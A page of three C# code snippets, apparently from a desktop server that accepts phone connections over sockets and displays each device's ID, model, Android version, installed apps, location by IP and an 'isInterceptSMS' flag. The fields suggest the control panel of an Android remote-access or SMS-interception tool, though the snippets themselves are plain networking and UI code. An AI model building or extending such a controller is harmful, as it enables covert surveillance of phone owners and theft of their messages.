예제 #1
0
        //添加一条记录到列表
        private void addDataList(ClientInfoBean clientInfo, Socket socket)
        {
            if (clientInfo == null)
            {
                return;
            }
            if (hashTableSocket == null)
            {
                hashTableSocket = new Hashtable();
            }

            if (!hashTableSocket.ContainsKey(clientInfo.deviceId))
            {
                hashTableSocket.Add(clientInfo.deviceId, socket);

                int index = this.dataGridView1.Rows.Add();
                this.dataGridView1.Rows[index].Cells[0].Value = "第" + index + "条";
                this.dataGridView1.Rows[index].Cells[1].Value = "alis";
                this.dataGridView1.Rows[index].Cells[2].Value = clientInfo.phoneModle;
                this.dataGridView1.Rows[index].Cells[3].Value = true;
                this.dataGridView1.Rows[index].Cells[4].Value = clientInfo.isInterceptSMS;
                this.dataGridView1.Rows[index].Cells[5].Value = AllUtils.getIpsCity(clientInfo.ipAddress);
            }
            //  this.dataGridView1.DataSource = hashTableSocket;
        }
예제 #2
0
 internal static void updataPhoneInfo(ListBox listBox, ClientInfoBean clientInfo)
 {
     if (listBox.Items.Count > 0)
     {
         //清空所有项
         listBox.Items.Clear();
     }
     if (clientInfo == null)
     {
         return;
     }
     listBox.Items.Add("设备标识:" + clientInfo.deviceId);
     listBox.Items.Add("备注:" + clientInfo.alias);
     listBox.Items.Add("手机型号:" + clientInfo.phoneModle);
     listBox.Items.Add("系统版本:" + clientInfo.androidVersion);
     listBox.Items.Add("屏幕分辨率:" + clientInfo.screenSize);
     listBox.Items.Add("系统版本:" + clientInfo.androidVersion);
     listBox.Items.Add("地址:" + clientInfo.address);
 }
예제 #3
0
        //接受客户端消息
        private void ReciveContent(Object obj)
        {
            int length = 0;

            while (true)
            {
                Console.WriteLine("ReciveContent:");

                Socket socketServer = obj as Socket;

                if (length == 0)
                {
                    byte[] headerByte = new byte[15];
                    socketServer.Receive(headerByte);
                    String header = System.Text.UTF8Encoding.Default.GetString(headerByte);
                    Console.WriteLine("client:===header:" + header);
                    listBox_log.Items.Add("client:===header:" + header);
                    try
                    {
                        length = int.Parse(header);
                    }
                    catch (Exception e)
                    {
                    }
                    continue;
                }
                byte[] buffer = new byte[length];
                int    len    = socketServer.Receive(buffer);

                StringBuilder sb = new StringBuilder();
                sb.Append(UTF8Encoding.UTF8.GetChars(buffer, 0, len));
                int end = 0;

                while ((end = length - len) > 0)
                {
                    length = end;
                    byte[] endBuffer = new byte[end];
                    len = socketServer.Receive(buffer);
                    sb.Append(UTF8Encoding.UTF8.GetChars(buffer, 0, len));
                    Console.WriteLine("读取了多长的数据?:" + len);
                }
                Console.WriteLine("body:" + sb.ToString());



                if (sb.Length == 0)
                {
                    Console.WriteLine("body是空的啊");
                    continue;
                }
                length = 0;

                //添加数据
                ClientInfoBean clientInfo = AllUtils.jsonToObj(sb.ToString(), typeof(ClientInfoBean)) as ClientInfoBean;
                if (clientInfo == null)
                {
                    Console.WriteLine("数据格式有问题==========");
                    return;
                }
                //upData
                addDataList(clientInfo, socketServer);

                UIAppList.updataAppsData(this.dataGridView_apps, clientInfo.appList);

                IPEndPoint clientipe = (IPEndPoint)socketServer.RemoteEndPoint;
                //clientInfo.ipAddress = clientipe.Address.ToString();
                UIAppList.updataPhoneInfo(this.listBox_phone_info, clientInfo);
                // UIAppList.updataSmsList(this.dataGridView_sms, clientInfo.smsList);
            }
        }